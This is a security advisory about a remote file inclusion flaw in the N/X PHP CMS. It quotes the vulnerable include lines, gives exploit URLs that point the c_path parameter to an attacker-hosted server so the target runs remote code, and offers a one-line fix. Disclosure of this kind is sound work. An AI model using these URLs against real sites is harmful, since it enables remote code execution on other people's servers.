N/X (PHP)

["Frog Man" <leseulfrog () hotmail com>]

Informations :
°°°°°°°°°°°°°°
Website : http://nxwcms.sourceforge.net/
Version : 2002 PreRelease 1
Problem : Include file

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
nx/common/cds/menu.inc.php :
-----------------------------------------------------------
[...]
        require_once $c_path."common/lib/launch.inc.php";
[...]
-----------------------------------------------------------

nx/common/dbo/datasets.php :
-----------------------------------------------------------
<?
        require_once $c_path."common/dbo/saveset.php";
        require_once $c_path."common/dbo/recordset.php";
        require_once $c_path."common/dbo/deleteset.php";
        require_once $c_path."common/dbo/updateset.php";
        require_once $c_path."common/dbo/insertset.php";
[...]
-----------------------------------------------------------

nx/common/lib/mass_opeations.inc.php :
-----------------------------------------------------------
<?
 require_once $c_path."common/lib/launch.inc.php";
 require_once $c_path."common/cds/menu.inc.php";
[...]
-----------------------------------------------------------

etc...

Exploits :
°°°°°°°°°°

http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/ with :
http://[attacker]/common/lib/launch.inc.php


http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/ with :
http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php


etc...

Solution :
°°°°°°°°°°
Add this line in bugged files :
-----------------------------------------------------------------
if (!file_exists($c_path."index.php")){ die("Path not found."); }
-----------------------------------------------------------------

A patch can be found on http://www.phpsecure.org .

More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/NX.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FNX.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n


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